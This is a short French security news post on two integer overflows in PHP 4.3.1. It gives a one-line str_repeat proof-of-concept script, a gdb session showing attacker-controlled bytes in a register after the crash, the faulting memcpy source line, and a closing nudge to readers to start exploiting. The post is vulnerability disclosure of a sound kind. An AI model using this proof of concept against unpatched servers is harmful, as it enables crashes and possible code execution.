News
|
mardi 08 avril | 2 Integer overflows dans php 4.3.1
Source: N/A ¬ 9545 affichages
Le 3 avril, sir Mordred (encore lui !) a annonce sur bugtraq la presence de 2 nouveaux integer overflows, cette fois ci dans le noyau de l'interpreteur.
Ces bugs se revelent tres interessants en fin de compte:
(ns) $ cat _php
#! ./php -q
str_repeat ( str_repeat ( "X", 0x2000 ), 0x100000 );
(ns) $ ./_php
STR_REPEAT: Z_STRLEN_PP(input_str): 8192
Segmentation fault
(ns) $ gdb -q ./php
(gdb) r ./_php
Starting program: /usr/accounts/toad/scripts/php ./_php
STR_REPEAT: Z_STRLEN_PP(input_str): 8192
Program received signal SIGSEGV, Segmentation fault.
0x401fcc99 in memcpy () from /lib/libc.so.6
(gdb) info reg eax
eax 0x58585858 1482184792
(gdb)
et le memcpy () qui pete:
(ns) # getl 3603 /www/services/php-4.3.1/ext/standard/string.c
3603: memcpy(result, Z_STRVAL_PP(input_str), Z_STRLEN_PP(input_str));
A vos claviers.. :)
La vuln str_repeat () sur ISS La vuln array_pad () sur ISS
toad ± Sécurité PHP
|
Ajouter un commentaire
|
Vos commentaires
|
|
» Aucun commentaire.
|
|
|